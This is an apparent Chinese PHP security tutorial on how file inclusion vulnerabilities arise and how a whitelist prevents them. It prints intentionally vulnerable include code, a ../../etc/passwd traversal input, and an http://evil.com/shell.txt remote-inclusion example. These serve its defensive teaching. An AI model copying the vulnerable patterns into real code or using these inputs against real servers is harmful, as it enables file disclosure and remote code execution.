PHP文件包含漏洞是怎么产生的?
php文件包含漏洞产生于程序直接使用用户可控变量作为include或require的文件路径参数,且未对输入进行严格校验。攻击者通过构造恶意路径(如利用../进行目录穿越)或注入webshell代码,导致服务器加载并执行非预期的文件。防范的核心在于限制可包含的文件范围,避免直接拼接用户输入。

$file = $_GET['page']; // 危险:直接包含用户输入 include $file;
上述代码中,$file直接来自$_GET请求。如果用户传入../../etc/passwd,服务器将尝试读取系统敏感文件;若传入远程URL(在allow_url_include=On时),则可能执行远程恶意脚本。这种动态包含机制是漏洞的根源。
如何安全地实现动态文件包含?
安全的做法是使用白名单机制,将用户输入映射到固定的内部文件名,而不是直接将其用作路径。通过数组查找或开关结构,确保只有预定义的文件才能被加载。这样即使攻击者修改了参数,也无法指向外部文件。

立即学习“PHP免费学习笔记(深入)”;
$allowed_pages = ['home' => 'index.php', 'about' => 'about.php'];
$page = $_GET['page'] ?? 'home';
if (isset($allowed_pages[$page])) {
include $allowed_pages[$page];
} else {
include $allowed_pages['home']; // 默认页面
}在这个示例中,$allowed_pages定义了合法的映射关系。无论$_GET['page']传入什么值,include语句执行的始终是数组中定义的固定文件。这彻底阻断了目录穿越和任意文件包含的可能性。
当allow_url_include开启时会发生什么具体风险?
如果PHP配置中的allow_url_include为On,攻击者可以直接通过http://或https://协议指定远程文件进行包含。这意味着无需本地文件上传权限,仅凭一个URL参数即可执行远程代码。这是比本地文件包含更严重的远程代码执行(RCE)向量。
// 假设 allow_url_include = On $remote_file = $_GET['url']; include $remote_file; // 危险
若用户传入http://evil.com/shell.txt,服务器会下载该文本文件并当作PHP代码执行。因此,除了使用白名单,还应在php.ini中将allow_url_include设置为Off,从配置层面切断远程包含的路径。



















